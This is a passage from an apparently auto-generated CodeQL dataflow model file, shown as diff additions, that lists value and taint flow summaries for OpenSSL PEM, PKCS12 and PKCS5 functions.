*,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_ex", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_ex", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_ex", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_traditional", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_traditional", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_PrivateKey_traditional", "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_RSAPrivateKey", "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_RSAPrivateKey", "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[*6]", "Argument[**6]", "value", "dfc-generated"] + - ["", "", True, "PEM_write_bio_RSAPrivateKey", "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)", "", "Argument[6]", "Argument[**6]", "taint", "dfc-generated"] + - ["", "", True, "PEM_write_bio_RSAPublicKey", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_RSA_PUBKEY", "(BIO *,const RSA *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_SSL_SESSION", "(BIO *,const SSL_SESSION *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509", "(BIO *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_ACERT", "(BIO *,const X509_ACERT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_AUX", "(BIO *,const X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_CRL", "(BIO *,const X509_CRL *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_PUBKEY", "(BIO *,const X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_REQ", "(BIO *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PEM_write_bio_X509_REQ_NEW", "(BIO *,const X509_REQ *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_BAGS_free", "(PKCS12_BAGS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_BAGS_free", "(PKCS12_BAGS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_MAC_DATA_free", "(PKCS12_MAC_DATA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_MAC_DATA_free", "(PKCS12_MAC_DATA *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_p8inf", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[*0]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_p8inf", "(PKCS8_PRIV_KEY_INFO *)", "", "Argument[0]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_pkcs8", "(X509_SIG *)", "", "Argument[*0]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create0_pkcs8", "(X509_SIG *)", "", "Argument[0]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_cert", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_crl", "(X509_CRL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_pkcs8_encrypt", "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_create_pkcs8_encrypt_ex", "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_free", "(PKCS12_SAFEBAG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_free", "(PKCS12_SAFEBAG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_attrs", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[**attrib]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_attrs", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[*attrib]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_p8inf", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_p8inf", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_pkcs8", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_pkcs8", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_safes", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_safes", "(const PKCS12_SAFEBAG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_type", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[**type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get0_type", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_cert_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get1_crl_ex", "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_get_nid", "(const PKCS12_SAFEBAG *)", "", "Argument[*0].Field[**type].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_set0_attrs", "(PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[*0].Field[**attrib]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_SAFEBAG_set0_attrs", "(PKCS12_SAFEBAG *,stack_st_X509_ATTRIBUTE *)", "", "Argument[1]", "Argument[*0].Field[*attrib]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_add_cert", "(stack_st_PKCS12_SAFEBAG **,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_cert", "(stack_st_PKCS12_SAFEBAG **,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_key", "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_key_ex", "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safe", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safe", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safe_ex", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safe_ex", "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes", "(stack_st_PKCS7 *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safes", "(stack_st_PKCS7 *,int)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes", "(stack_st_PKCS7 *,int)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes_ex", "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_add_safes_ex", "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_safes_ex", "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_add_secret", "(stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_create", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PKCS12_create", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int)", "", "Argument[*4].Field[**data]", "Argument[*4].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_create_ex2", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PKCS12_create_ex2", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *)", "", "Argument[*4].Field[**data]", "Argument[*4].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_create_ex", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "PKCS12_create_ex", "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4].Field[**data]", "Argument[*4].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_free", "(PKCS12 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_free", "(PKCS12 *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PKCS12_get0_mac", "(const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PKCS12_init", "(int)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_init", "(int)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_init_ex", "(int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_init_ex", "(int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**authsafes].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*4]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_decrypt_d2i_ex", "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[*1]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int)", "", "Argument[4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_i2d_encrypt_ex", "(X509_ALGOR *,const ASN1_ITEM *,const char *,int,void *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "PKCS12_item_pack_safebag", "(void *,const ASN1_ITEM *,int,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_item_pack_safebag", "(void *,const ASN1_ITEM *,int,int)", "", "Argument[3]", "ReturnValue[*].Field[**type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_item_pack_safebag", "(void *,const ASN1_ITEM *,int,int)", "", "Argument[3]", "ReturnValue[*].Field[*type]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pack_authsafes", "(PKCS12 *,stack_st_PKCS7 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7data", "(stack_st_PKCS12_SAFEBAG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7encdata", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "Argument[6]", "value", "df-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*7]", "ReturnValue[*].Field[*ctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[*8]", "ReturnValue[*].Field[*ctx].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[7]", "ReturnValue[*].Field[*ctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "PKCS12_pack_p7encdata_ex", "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)", "", "Argument[8]", "ReturnValue[*].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_parse", "(PKCS12 *,const char *,EVP_PKEY **,X509 **,stack_st_X509 **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)", "", "Argument[4]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)", "", "Argument[4]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)", "", "Argument[4]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_pbe_crypt_ex", "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS12_set_pbmac1_pbkdf2", "(PKCS12 *,const char *,int,unsigned char *,int,int,const EVP_MD *,const char *)", "", "Argument[4]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "PKCS1_MGF1", "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)", "", "Argument[*4].Field[*md_size]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS1_MGF1", "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS1_MGF1", "(unsigned char *,long,const unsigned char *,long,const EVP_MD *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_PBE_keyivgen_ex", "(EVP_CIPHER_CTX *,const char *,int,ASN1_TYPE *,const EVP_CIPHER *,const EVP_MD *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor", "(X509_ALGOR *,int,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor", "(X509_ALGOR *,int,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor_ex", "(X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set0_algor_ex", "(X509_ALGOR *,int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set", "(int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set", "(int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "PKCS5_pbe_set_ex", "(int,int,const unsigned char *,int,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[**algorithm]", "taint", 